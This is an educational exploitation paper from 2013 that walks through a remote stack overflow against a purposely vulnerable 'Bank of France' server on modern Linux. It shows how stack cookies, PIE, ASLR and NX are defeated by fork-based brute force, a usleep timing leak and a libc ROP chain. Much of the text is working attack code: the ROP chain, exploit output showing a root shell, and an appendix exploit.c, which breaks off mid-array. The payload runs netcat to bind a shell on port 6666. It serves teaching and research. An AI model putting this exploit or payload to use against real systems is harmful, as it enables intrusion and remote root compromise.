Smashing the stack, an example from 2013

by Benjamin Randazzo <benjamin@linuxcrashing.org, twitter: @____benjamin>

August 2013

Stack overflow vulnerabilities have been made harder and harder to exploit over the years as many security mechanisms appeared. The exploitation technique introduced by Elias Levy, aka Aleph One, in his paper «Smashing the Stack for Fun and Profit» published in 1996 Phrack magazine [1], seems so far away now. Nowadays the discovery of such a security flaw does not necessarily lead to a successful exploit. The main goal of this article is to give you an example of a stack overflow exploitation on a protected binary running on a modern Linux system.

In this paper, I'm assuming you already are familiar with stack overflow exploitation techniques like ret2plt and ROP. If not, I recommend you to read some papers about those techniques on Internet. A paper named «Scraps of notes on remote stack overflow exploitation» released in 2010 [2] caught my interest. The author, Adam Zabrocki (aka pi3) gave an example of exploit for a vulnerable server he wrote. We're going to use some techniques described in that paper. It is really well explained, however his vulnerable binary calls the system() function from the libc. It invokes the shell to execute a command passed as an argument, here is the prototype of that function :

`int system(const char *command);` [3]

Its use isn't really interesting, it only prints «start» on the standard output. He created an optimistic exploitation case for the article purpose. After finding the stack cookie (also named canary) together with the saved EIP, he «just had» to perform a return-into-call-system attack with an argument that was a controlled buffer already pushed on the stack. But like he said, it's no big deal... since we're going to exploit a server without any call to the system() function right now.

The vulnerable binary

For this PoC, we will study and exploit an homemade vulnerable server whose complete source code can be found in appendix. It waits for connections on port 3333 and asks clients a code for getting access to the Bank of France. I compiled it with the following command :

```
gcc -m32 -Wl,-z,relro,-z,now -pie -fstack-protector-all -o server
server.c
```

I used the -m32 option because I am running the server on a 64 bits Debian virtual machine (with a 3.7 kernel) and I want to make the demo on a x86-like architecture. I will discuss the reasons of that choice later in this paper. Let's check out how the binary and its environment are protected :

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

ASLR is enabled by default on the system, the variable randomize_va_space is set to 2. So we have to deal with full address space randomization (stack, heap, shared libraries, etc...). We can also check the overall security of the binary using a script called checksec.sh [4] :

```
$ wget -q http://trapkit.de/tools/checksec.sh
$ chmod +x checksec.sh
$ ./checksec.sh --file server
```

```
RELRO           .data addr CANARY      NX            PIE
RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH
No RUNPATH   server
```

As you can see NX is enabled, so some areas of memory will be marked as non-executable. PIE is also enabled, it randomizes the base address of the main binary, this can be problematic for exploitation. Because the binary has the same behavior as shared libraries in terms of randomness. We can notice the presence of stack cookies in the binary, some buffers are protected and stack overflows occurring in those buffers will be detected and will make the program aborting. Finally we have full RELRO, which means that ELF sections are reordered : for example the destructors are before the data sections, which is a problem in case of bss overflows ; and the GOT is remapped as read-only [5][6].

Now it's time to study the security flaw introduced in the binary. There is a stack overflow vulnerability in the check_code() function :

```
int check_code(char *data, int size)
{
      char buffer[20];

      memcpy(buffer, data, size);
      encrypt(buffer, KEY);
      return strncmp(buffer, SECRET, strlen(SECRET));
}
```

The data argument points to a buffer containing what the client sent, and the size argument is the size of those data. Data are copied into a buffer of 20 bytes without checking in any way if the size argument is superior to 20. So if we send more than 20 bytes of data, we should trigger a bug. Here are some execution traces on client side bringing to light the issue :

```
$ nc 192.168.56.101 3333
Bank of France
Enter code : 1234

Access denied
$

$ echo -n $(python -c 'print "A" * 20') | nc 192.168.56.101 3333
Bank of France
Enter code :
Access denied
$

$ echo -n $(python -c 'print "A" * 21') | nc 192.168.56.101 3333
Bank of France
Enter code : $
```

When more than 20 bytes of data are supplied, the server child dies and the «Access denied» message isn't sent. This is due to the fact that we have overwritten one byte of the stack cookie, so the overflow has been detected (check out the server output made by the __stack_chk_fail() function). Let's quickly observe the stack layout when data are copied into the buffer and the call to __stack_chk_fail().

```
$ gdb -q ./server
Reading symbols from /root/bof/server...(no debugging symbols
found)...done.
(gdb) disas check_code
```

```
Dump of assembler code for function check_code:
   0x00000c86 <+0>:   push   %ebp
   0x00000c87 <+1>:   mov    %esp,%ebp
   0x00000c89 <+3>:   sub    $0x48,%esp
   0x00000c8c <+6>:   mov    0x8(%ebp),%eax
   0x00000c8f <+9>:   mov    %eax,-0x2c(%ebp)
   0x00000c92 <+12>:  mov    0xc(%ebp),%eax
   0x00000c95 <+15>:  mov    %eax,-0x30(%ebp)
   0x00000c98 <+18>:  mov    %gs:0x14,%eax
   0x00000c9e <+24>:  mov    %eax,-0xc(%ebp)
   0x00000ca1 <+27>:  xor    %eax,%eax
   0x00000ca3 <+29>:  mov    -0x30(%ebp),%eax
   0x00000ca6 <+32>:  mov    %eax,0x8(%esp)
   0x00000caa <+36>:  mov    -0x2c(%ebp),%eax
   0x00000cad <+39>:  mov    %eax,0x4(%esp)
   0x00000cb1 <+43>:  lea    -0x20(%ebp),%eax
   0x00000cb4 <+46>:  mov    %eax,(%esp)
   0x00000cb7 <+49>:  call   0xcb8 <check_code+50>
   0x00000cbc <+54>:  movl   $0x42,0x4(%esp)
   0x00000cc4 <+62>:  lea    -0x20(%ebp),%eax
   0x00000cc7 <+65>:  mov    %eax,(%esp)
   0x00000cca <+68>:  call   0xc20 <encrypt>
   0x00000ccf <+73>:  movl   $0x4,0x8(%esp)
---Type <return> to continue, or q <return> to quit---
   0x00000cd7 <+81>:  movl   $0x1060,0x4(%esp)
   0x00000cdf <+89>:  lea    -0x20(%ebp),%eax
   0x00000ce2 <+92>:  mov    %eax,(%esp)
   0x00000ce5 <+95>:  call   0xce6 <check_code+96>
   0x00000cea <+100>: mov    -0xc(%ebp),%edx
   0x00000ced <+103>: xor    %gs:0x14,%edx
   0x00000cf4 <+110>: je     0xcfb <check_code+117>
   0x00000cf6 <+112>: call   0xcf7 <check_code+113>
   0x00000cfb <+117>: leave
   0x00000cfc <+118>: ret
End of assembler dump.
(gdb) shell readelf -r ./server | grep cb8
00000cb8  00000402 R_386_PC32        00000000   memcpy
(gdb) start
Temporary breakpoint 1 at 0xd00
Starting program: /root/bof/server

Temporary breakpoint 1, 0x56555d00 in main ()
(gdb) b *0x56555cbc
Breakpoint 2 at 0x56555cbc
(gdb) b *0x56555cf6
Breakpoint 3 at 0x56555cf6
(gdb) set follow-fork-mode child
(gdb) cont
Continuing.
ready
[New process 16494]
[Switching to process 16494]

Breakpoint 2, 0x56555cbc in check_code ()
(gdb) x/30dwx $esp
0xffffd240:     0xffffd268 0xffffd2ec 0x00000015 0xffffd288
0xffffd250:     0x00000000 0xffffd288 0x00000015 0xffffd2ec
0xffffd260:     0xffffd288 0xf7ec641b 0x41414141 0x41414141
0xffffd270:     0x41414141 0x41414141 0x41414141 0x9203c441
0xffffd280:     0xffffd2ec 0xf7f2a6b3 0xffffd4f8 0x56555f45
```

```
0xffffd290:     0xffffd2ec 0x00000015 0x00000200 0x00000000
0xffffd2a0:     0x00000004 0xffffd3d0 0xffffd2f8 0xffffd304
0xffffd2b0:     0xf7ffcff4 0xf7ffd918
(gdb) x/2i 0x56555f45-5
   0x56555f40 <main+579>:  call   0x56555c86 <check_code>
   0x56555f45 <main+584>:  test   %eax,%eax
(gdb) cont
Continuing.

Breakpoint 3, 0x56555cf6 in check_code ()
(gdb) x/i $eip
=> 0x56555cf6 <check_code+112>: call   0xf7f4e590 <__stack_chk_fail>
```

As you can see the stack cookie at %gs:0x14 is compared with the one pushed on the stack earlier. So, this is how the stack layout looks :

```
high addresses - bottom of the stack

[       ...       ]
[      size       ]
[      data       ]
[    saved EIP    ]
[    saved EBP    ]
[       ...       ]
[   stack cookie  ]
[   buffer of 20  ]
[       ...       ]

low addresses - top of the stack
```

Now the question is : how are we going to hack this? We will do an attack scenario before writing our exploit.

The attack scenario

1) First, we need to determine the stack cookie position by sending data of various sizes until the server stop sending us the «Access denied» message. At that point, the stack overflow is detected because we have overwritten one byte of the cookie. This also gives us the size of the vulnerable buffer.

2) Next, we will take advantage of the server call to the fork() function for bruteforcing the stack cookie byte-per-byte. When the server replies with the message «Access denied» it means we've guessed the first byte of the cookie, then we can brute force the next byte, etc... There are only 256 possibilities for each byte. So there are 1024 (256*4) possible combinations (assuming it's an x86 architecture), which is reasonable. Besides, the stack cookie always ends with a null byte on Debian (and probably on some other Linux distributions), so there are only 768 possible combinations for the stack cookie. This brute force technique was introduced by Ben Hawkes at Ruxcon 2006 [7].

3) Afterwards, we have to find saved EIP position in order to know where to put our own return address. Here, we can use the same technique as before for determining stack cookie position.

4) Then, we will bruteforce the saved EIP value. This will allow us to find the base address of the main binary, it will permit us to bypass PIE. To do that, we have to guess the first 20 bits of the address with a byte-per-byte bruteforce as we already did for the stack cookie.

At this time, it's almost «GAME OVER» : we can do ret2plt or ROP to achieve our goal. Unfortunately there is no interesting function to return in inside the binary and there are only 3 ROP gadgets, that's not enough (I use the ROPgadget tool [8] to find them). One can imagine calling the system() function from libc, but the problem is how to get the address of the buffer containing the command to execute. We do have that address, but actually it is misplaced on the stack. It would have been perfect if we could do a ret2libc attack, but the data buffer's address should have been placed instead of the size argument. We can create such a situation by modifying the check_code() function with an other prototype, just by reversing its arguments, but it's not cool :

```
int check_code(int size, char *data);
```

The stack layout would have been like that :

```
high addresses - bottom of the stack

[       ...       ]
[      data       ]
[      size       ]
[    saved EIP    ]
[    saved EBP    ]
[       ...       ]
[   stack cookie  ]
[   buffer of 20  ]
[       ...       ]

low addresses - top of the stack
```

In that case, we would just have to do a ret2libc attack like that :

```
high addresses - bottom of the stack

[       ...       ]
[      data       ] pointing to a command to execute
[    exit addr    ]
[   system addr   ] previous saved EIP position
[       ...       ] previous saved EBP position
[       ...       ]
[   stack cookie  ]
[   buffer of 20  ]
[       ...       ]

low addresses - top of the stack
```

Of course, we do not want to modify the source code of the server. Luckily we can search for gadgets in the shared libraries used by the binary, and in particular the libc to do ROP. There are enough gadgets in libc to perform an execve syscall with its arguments. Here are the gadgets I will use :

```
0x0002aca5      ; int $0x80
0x0002a19f      ; mov %ecx,(%eax) ; ret
0x00008e48      ; inc %eax ; ret
0x000143d4      ; pop %eax ; ret
0x000f1c9d      ; pop %ecx ; ret
0x000e4e41      ; pop %edx ; pop %ecx ; pop %ebx ; ret
0x0003cb7e      ; xor %eax,%eax ; ret
```

The best thing to do is to have a remote shell on our target system, the idea is to make the execve syscall with the netcat program to create a sort of backdoor. I made a ROP chain similar to the one made by Jonathan Salwan in its «Return Oriented Programming and ROPgadget tool» article [9]. First, let's find out execve syscall number :

```
$ cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve 11
```

The execve prototype is the following :

```
int execve(const char *filename, char *const argv[], char *const env[]);
```
[10]

In order to have a backdoor by executing something similar to «/bin/nc -lnp 6666 -e /bin/sh» we have to put the parameters in registers in that way :

```
EAX = 11
EBX = "/bin//nc"
ECX = {"/bin//nc", "-lnp", "6666", "-tte", "/bin//sh"}
EDX = NULL
```

I've chained my ROP gadgets to put the arguments in the data section of the libc and then to perform the execve syscall. Here is my ROP chain :

```
pop %eax ; ret
.data addr
pop %ecx ; ret
"/bin"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+4
pop %ecx ; ret
"//nc"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+9
pop %ecx ; ret
"-lnp"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+14
pop %ecx ; ret
"6666"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+19
pop %ecx ; ret
"-tte"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+24
pop %ecx ; ret
"/bin"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+28
pop %ecx ; ret
"//sh"
mov %ecx,(%eax) ; ret
pop %eax ; ret
```

```
.data addr+50
pop %ecx ; ret
.data addr
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+54
pop %ecx ; ret
.data addr+9
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+58
pop %ecx ; ret
.data addr+14
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+62
pop %ecx ; ret
.data addr+19
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+66
pop %ecx ; ret
.data addr+24
mov %ecx,(%eax) ; ret
xor %eax,%eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
pop %edx ; pop %ecx ; pop %ebx ; ret
.data addr+40
.data addr+50
.data addr
int $0x80
```

After sending the payload, the stack will look like this :

```
high addresses - bottom of the stack

[       ...       ]
[   last gadget   ]
[       ...       ]
[     gadget 3    ]
[     gadget 2    ]
[     gadget 1    ] previous saved EIP position
[       ...       ] previous saved EBP position
[       ...       ]
[   stack cookie  ]
[   buffer of 20  ]
[       ...       ]

low addresses - top of the stack
```

Since ASLR is enabled, we have to bruteforce the libc base address (we should have done the same for a ret2libc attack), it's the next step.

5) Therefore we brute force the libc base address in order to map the entire libc. We can do that by trying to call the usleep() function with an argument equals to 2 seconds, its prototype is :

```
int usleep(useconds_t useconds); [11]
```

The libc functions' offsets are not randomized and can be determined that way :

```
$ nm -D /lib32/libc.so.6 | grep usleep
000d1690 T usleep
```

Theoretically, we should bruteforce the first 20 bits of usleep's address, but on Debian the first byte is always the same and is equal to the first byte of the saved EIP. So we just have to brute force 12 bits of the address : 4096 (2^12) possible combinations. This is how to perform the bruteforce : we put on the stack the usleep() address, then we write dummy data and finally we put usleep's argument, it's like a ret2libc attack. We have to ensure that the stack looks like this :

```
high addresses - bottom of the stack

[       ...        ]
[     2000000      ] usleep argument
[       ...        ]
[   usleep addr    ] previous saved EIP position
[       ...        ] previous saved EBP position
[       ...        ]
[   stack cookie   ]
[   buffer of 20   ]
[       ...        ]

low addresses - top of the stack
```

If the server takes two seconds or a bit more to close the connection with us it means we've guessed the usleep() address and consequently the libc base address (by doing usleep's address - usleep's offset). Such a technique is described in a paper called «On the Effectiveness of Address-Space Randomization» [12] written by people from Stanford University.

6) Now we do have everything needed to lead a successful exploit!

The exploitation

Let's run the server as root for more fun and weaponize our exploit :

```
$ sudo ./server
waiting for connections ...

$ gcc -o exploit exploit.c
$ ./exploit 192.168.56.101 3333
exploit by benjamin

20 bytes to reach the cookie
bruteforcing the cookie...
     byte found! 0x00
     byte found! 0x87
     byte found! 0xf3
     byte found! 0x51

     cookie is 0x51f38700
```

```
12 bytes to reach saved eip
bruteforcing saved eip...
      byte found! 0xdf
      byte found! 0x71
      byte found! 0xf7

      saved eip: 0xf771df45
      text base: 0xf771d000

bruteforcing the libc...

      usleep at: 0xf7652690
      libc base: 0xf7581000

send payload (344 bytes)

got remote shell !

id
uid=0(root) gid=0(root) groups=0(root)
```

The x86_64 case

One can wonder : why not having made a PoC on a binary compiled in 64-bit? Here is the answer : I originally worked on a 32-bit Linux system, and finally I decided to work on a 64-bit one. Nor the addresses size, nor the way functions' parameter are passed [13] were a problem. The real problem was the usleep() function bruteforce, it was too long (2^20 = 1048567 possibilities). It wasn't acceptable, so I decided to make my PoC on a x86-like architecture. It would have been better to find enough gadgets in the binary itself in order to have a good exploit for the x86_64 architecture. Unfortunately I found only one gadget with ROPgadget tool.This does not mean that stack overflow exploitations on an x86_64 architecture are impossible, but it depends of the binary itself in that case.

Conclusion

Exploiting stack overflows in 2013 requires attackers to combine multiple techniques in order to defeat mitigation techniques implemented over the years. This is what we did to achieve an arbitrary code execution on a binary running on a modern Linux operating system. However, it's important to notice that the discovery of such a security flaw doesn't necessarily result into a successful exploitation. It depends of the binary itself, of how it was compiled and of the environment in which it's running.

References

[1] «Smashing the Stack for Fun and Profit» by Aleph One
[2] «Scraps of notes on remote stack overflow exploitation» by pi3
[3] Running a command - The GNU C Library
[4] trapkit.de - checksec.sh
[5] trapkit blog: RELRO - A (not so well known) Memory Corruption Mitigation Technique
[6] «Post Memory Corruption Memory Analysis» presentation by Jonathan Brossard (good explanations)
[7] «Exploiting OpenBSD» by Ben Hawkes
[8] ROPgadget GitHub repository
[9] «Return Oriented Programming and ROPgadget tool» by Jonathan Salwan

[10] Executing a File - The GNU C Library
[11] usleep
[12] «On the Effectiveness of Address-Space Randomization» by people from Stanford University
[13] The Art Of ELF: Analysis and Exploitations by FlUxIuS

Appendix

server.c

```
/*
 * server - a simple server vulnerable to stack overflow
 *
 * Copyright 2012-2013  Benjamin Randazzo <benjamin@linuxcrashing.org>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define KEY 0x42
#define SECRET "\x73\x71\x71\x75"

#define PORT 3333

void encrypt(char *buffer, int key)
{
        int len, i;

        len = strlen(SECRET);
        for (i=0; i<len; i++)
             buffer[i] ^= key;
}

int check_code(char *data, int size)
{
        char buffer[20];

        memcpy(buffer, data, size);
        encrypt(buffer, KEY);
        return strncmp(buffer, SECRET, strlen(SECRET));
}

int main()
{
        int sockfd, sock_newfd, optval = 1;
        struct sockaddr_in addr, serv_addr;
        int sin_size = sizeof(struct sockaddr_in), bsize;
        char buffer[512];

        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
             perror("socket");
             exit(errno);
        }

        if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 
0) {
```

```
            perror("setsockopt");
            exit(errno);
        }
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(PORT);
        serv_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&(serv_addr.sin_zero), 0, 8);

        if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) < 0) {
            perror("bind");
            exit(errno);
        }

        if (listen(sockfd, 20) < 0) {
            perror("listen");
            exit(errno);
        }
        printf("ready\n");

        while (1)
        {
            if ((sock_newfd = accept(sockfd, (struct sockaddr *)&addr, &sin_size)) < 0) {
                perror("accept");
                exit(errno);
            }

            if (fork() == 0)
            {
                write(sock_newfd, "Bank of France\n", 15);
                write(sock_newfd, "Enter code : ", 13);

                bzero(buffer, sizeof(buffer));
                bsize = read(sock_newfd, buffer, sizeof(buffer), 0);
                if (check_code(buffer, bsize) == 0) {
                    write(sock_newfd, "\n=== Access granted ===\n", 24);
                } else {
                    write(sock_newfd, "\nAccess denied\n", 15);
                }

                close(sock_newfd);
                exit(0);
            }
            close(sock_newfd);
            while (waitpid(-1, NULL, WNOHANG) > 0);
        }
        close(sockfd);
        return 0;
}
```

exploit.c

```c
/*
 * exploit (server)
 *
 * Copyright 2012-2013  Benjamin Randazzo <benjamin@linuxcrashing.org>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>

#define BUF_SIZE 512

#define DUMMY 0x41

#define FIRST_READ(sockfd, buf)    \
        read(sockfd, buf, 15);     \
        read(sockfd, buf, 13);

#define FATAL(...)                 \
        fprintf(stderr,__VA_ARGS__);     \
        exit(1);

#define MSG_SIZE 15

/*
 * 0x00000f40 <+579>: call   0xc86 <check_code>
 * 0x00000f45 <+584>: test   %eax,%eax
 *
 * saved EIP is equal to something like 0x00000e68 (after check_code epilogue)
 * with PIE enabled, the .text section base address is randomized (0xfffff000)
 */
#define SAVED_EIP_OFFSET 0x00000f45

// 000d1690 T usleep
#define USLEEP_OFFSET 0x000d1690

// .data addr in libc
#define STACK           0x0015e9a0      // .data addr

// ROP gadgets
#define INT80               0x0002aca5   // int $0x80
#define MOVINSTACK          0x0002a19f   // mov %ecx,(%eax) ; ret
#define INCEAX       0x00008e48   // inc %eax ; ret
#define POPEAX       0x000143d4   // pop %eax ; ret
#define POPECX       0x000f1c9d   // pop %ecx ; ret
#define POPALL       0x000e4e41   // pop %edx ; pop %ecx ; pop %ebx ; ret
#define XOREAX       0x0003cb7e   // xor %eax,%eax ; ret

```

```c
// some useful strings (in little-endian)
#define BIN          0x6e69622f   // "/bin"
#define NC           0x636e2f2f   // "//nc"
#define LNP          0x706e6c2d   // "-lnp"
#define LPORT        0x36363636   // "6666"
#define TTE          0x6574742d   // "-tte"
#define SH           0x68732f2f   // "//sh"

#define REMOTE_PORT 6666

int create_connection(struct sockaddr_in);

int get_cookie_position(struct sockaddr_in, char *);
int bruteforce_cookie(struct sockaddr_in, char *, int, uint32_t *);

int get_saved_eip_position(struct sockaddr_in, char *, int, uint32_t);
int bruteforce_saved_eip(struct sockaddr_in, char *, int, uint32_t, int, uint32_t *);

int bruteforce_usleep(struct sockaddr_in, char *, int, uint32_t, int, uint32_t, uint32_t *);

void exploit(struct sockaddr_in, char *, int, uint32_t, int, uint32_t, uint32_t);

int main(int argc, char **argv)
{
        int cookie_pos, saved_eip_pos;
        uint32_t cookie = 0, saved_eip = 0, usleep = 0;
        char buf[BUF_SIZE];
        struct hostent *he;
        struct sockaddr_in addr;

        if (argc < 3) {
                printf("usage: %s target_ip port\n", argv[0]);
                exit(1);
        }

        if ((he = gethostbyname(argv[1])) == NULL) {
                herror("gethostbyname");
                exit(h_errno);
        }
        addr.sin_family = AF_INET;
        addr.sin_port = htons(atoi(argv[2]));
        addr.sin_addr = *((struct in_addr *)he->h_addr);
        memset(&(addr.sin_zero), 0, 8);

        printf("exploit by benjamin\n\n");
        if ((cookie_pos = get_cookie_position(addr, buf)) < 0) {
                FATAL("\tcookie position not found\n");
        }
        printf("%d bytes to reach the cookie\n", cookie_pos);

        printf("bruteforcing the cookie...\n");
        if (bruteforce_cookie(addr, buf, cookie_pos, &cookie) < 0) {
                FATAL("\tcookie not found\n");
        }
        printf("\n\tcookie is 0x%.8x\n\n", cookie);

        if ((saved_eip_pos = get_saved_eip_position(addr, buf, cookie_pos, cookie)) < 0) {
                FATAL("\tsaved eip not found\n");
        }
        printf("%d bytes to reach saved eip\n", saved_eip_pos);

        printf("bruteforcing saved eip...\n");
        if (bruteforce_saved_eip(addr, buf, cookie_pos, cookie, saved_eip_pos, &saved_eip) < 0) {
                FATAL("\tsaved eip not found\n");
        }
        printf("\n\tsaved eip: 0x%.8x\n", saved_eip);
        printf("\ttext base: 0x%.8x\n\n", saved_eip & 0xfffff000);

        printf("bruteforcing the libc...\n");
        if (bruteforce_usleep(addr, buf, cookie_pos, cookie, saved_eip_pos, saved_eip, &usleep) < 0) {
                FATAL("\tusleep() not found\n");
        }
        printf("\n\tusleep at: 0x%.8x\n", usleep);
        printf("\tlibc base: 0x%.8x\n\n", usleep-USLEEP_OFFSET);

        exploit(addr, buf, cookie_pos, cookie, saved_eip_pos, saved_eip, usleep);

        return 0;
}

int create_connection(struct sockaddr_in addr)
{
        int sockfd;

        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                perror("socket");
                exit(errno);
        }
        if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
                perror("connect");
                exit(errno);
        }
        return sockfd;
}

int get_cookie_position(struct sockaddr_in addr, char *buf)
{
        int sockfd, cookie_pos = 1, i, rc;

        for (i=0; cookie_pos<=BUF_SIZE; i++) {
                sockfd = create_connection(addr);
                FIRST_READ(sockfd, buf);

                memset(buf, DUMMY, cookie_pos);
                write(sockfd, buf, cookie_pos);

                rc = read(sockfd, buf, MSG_SIZE);
                close(sockfd);
                if (rc < MSG_SIZE) return cookie_pos-1;
                cookie_pos++;
        }
        return -1;
}

int bruteforce_cookie(struct sockaddr_in addr, char *buf, int cookie_pos, uint32_t *cookie)
{
        int sockfd, rc;
        uint8_t *ptr = (uint8_t *)cookie;

        while (ptr < (uint8_t *)cookie+sizeof(uint32_t))
        {
                sockfd = create_connection(addr);
                FIRST_READ(sockfd, buf);

                memset(buf, DUMMY, cookie_pos);
                memcpy(buf+cookie_pos, cookie, sizeof(uint32_t));
                write(sockfd, buf, cookie_pos+(ptr - (uint8_t *)cookie)+1);

                rc = read(sockfd, buf, MSG_SIZE);
                close(sockfd);
                if (rc < MSG_SIZE) {
                        if (*ptr == 0xff) return -1;
                        (*ptr)++;
                } else {
                        printf("\tbyte found! 0x%02x\n", *ptr);
                        ptr++;
                }
        }
        return 0;
}

int get_saved_eip_position(struct sockaddr_in addr, char *buf, int cookie_pos, uint32_t cookie)
{
        int sockfd, saved_eip_pos = 1, i, rc;

        for (i=0; saved_eip_pos<=BUF_SIZE; i++) {
                sockfd = create_connection(addr);
                FIRST_READ(sockfd, buf);

                memset(buf, DUMMY, cookie_pos);
                memcpy(buf+cookie_pos, &cookie, sizeof(uint32_t));
                memset(buf+cookie_pos+sizeof(uint32_t), DUMMY, saved_eip_pos);
                write(sockfd, buf, cookie_pos+sizeof(uint32_t)+saved_eip_pos);

                rc = read(sockfd, buf, MSG_SIZE);
                close(sockfd);
                if (rc < MSG_SIZE) return saved_eip_pos-1;
                saved_eip_pos++;
        }
        return -1;
}

int bruteforce_saved_eip(struct sockaddr_in addr, char *buf, int cookie_pos, uint32_t cookie, int saved_eip_pos, uint32_t *saved_eip)
{
        int sockfd, rc;
        uint8_t *ptr = (uint8_t *)saved_eip+1;

        *saved_eip = SAVED_EIP_OFFSET;
        while (ptr < (uint8_t *)saved_eip+sizeof(uint32_t))
        {
                sockfd = create_connection(addr);
                FIRST_READ(sockfd, buf);

                memset(buf, DUMMY, cookie_pos);
                memcpy(buf+cookie_pos, &cookie, sizeof(uint32_t));
                memcpy(buf+cookie_pos+sizeof(uint32_t)+saved_eip_pos, saved_eip, sizeof(uint32_t));
                write(sockfd, buf, cookie_pos+sizeof(uint32_t)+saved_eip_pos+(ptr - (uint8_t *)saved_eip)+1);

                rc = read(sockfd, buf, MSG_SIZE);
                close(sockfd);
                if (rc < MSG_SIZE) {
                        if (*ptr == 0xff) return -1;
                        if (ptr == (uint8_t *)saved_eip+1) {
                                (*ptr)+=0x10;
                        } else
                                (*ptr)++;
                } else {
                        printf("\tbyte found! 0x%02x\n", *ptr);
                        ptr++;
                }
        }
        return 0;
}

int bruteforce_usleep(struct sockaddr_in addr, char *buf, int cookie_pos, uint32_t cookie, int saved_eip_pos, uint32_t saved_eip, uint32_t *usleep)
{
        int sockfd, rc, i;
        const int sec = 2, usec = sec*1000000;
        uint8_t *ptr = (uint8_t *)usleep+1;
        struct timeval t1, t2;
        const struct timeval timeout = {sec + 1, 0};

        *usleep = USLEEP_OFFSET;
        *(ptr+2) = *((uint8_t *)(&saved_eip) + 3);

        for (i=0; i<4096; i++) {
                sockfd = create_connection(addr);
                if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
                        perror("setsockopt");
                        exit(errno);
                }
                FIRST_READ(sockfd, buf);

                memset(buf, DUMMY, cookie_pos);
                memcpy(buf+cookie_pos, &cookie, sizeof(uint32_t));
                memcpy(buf+cookie_pos+sizeof(uint32_t)+saved_eip_pos, usleep, sizeof(uint32_t));
                memcpy(buf+cookie_pos+saved_eip_pos+sizeof(uint32_t)*2, &saved_eip, sizeof(uint32_t));
                memcpy(buf+cookie_pos+saved_eip_pos+sizeof(uint32_t)*3, &usec, sizeof(uint32_t));
                write(sockfd, buf, cookie_pos+saved_eip_pos+sizeof(uint32_t)*4);

                gettimeofday(&t1, NULL);
                rc = read(sockfd, buf, MSG_SIZE);
                close(sockfd);
                gettimeofday(&t2, NULL);
                t2.tv_sec -= t1.tv_sec;
                if (t2.tv_sec == sec) {
                        return 0;
                } else {
                        if ((*ptr & 0xf0) == 0xf0) {
                                *ptr &= 0x0f;
                                (*(ptr+1))++;
                        }
                        (*ptr)+=0x10;
                }
        }
        return -1;
}

void exploit(struct sockaddr_in addr, char *buf, int cookie_pos, uint32_t cookie, int saved_eip_pos, uint32_t saved_eip, uint32_t usleep)
{
        int sockfd, rc;
        char cmd[24];
        const int LIBC = usleep-USLEEP_OFFSET,
              ropchain[] = {POPEAX+LIBC,
                     STACK+LIBC,
                     POPECX+LIBC,
                     BIN,
                     MOVINSTACK+LIBC,
                     POPEAX+LIBC,
                     STACK+LIBC+4,
                     POPECX+LIBC,
                     NC,
                     MOVINSTACK+LIBC,
                     POPEAX+LIBC,
                     STACK+LIBC+9,
                     POPECX+LIBC,
                     LNP,
                     MOVINSTACK+LIBC,
                     POPEAX+LIBC,
                     STACK+LIBC+14,
                     POPECX+LIBC,
                     LPORT,
                     MOVINSTACK+LIBC,
                     POPEAX+LIBC,
                     STACK+LIBC+19,
                     POPECX+LIBC,
                     TTE,
                     MOVINSTACK+LIBC,
                     POPEAX+LIBC,
                     STACK+LIBC+24,
                     POPECX+LIBC,
                      BIN,
                      MOVINSTACK+LIBC,
                      POPEAX+LIBC,
                      STACK+LIBC+28,
                      POPECX+LIBC,
                      SH,
                      MOVINSTACK+LIBC,
                      POPEAX+LIBC,
                      STACK+LIBC+50,
                      POPECX+LIBC,
                      STACK+LIBC,
                      MOVINSTACK+LIBC,
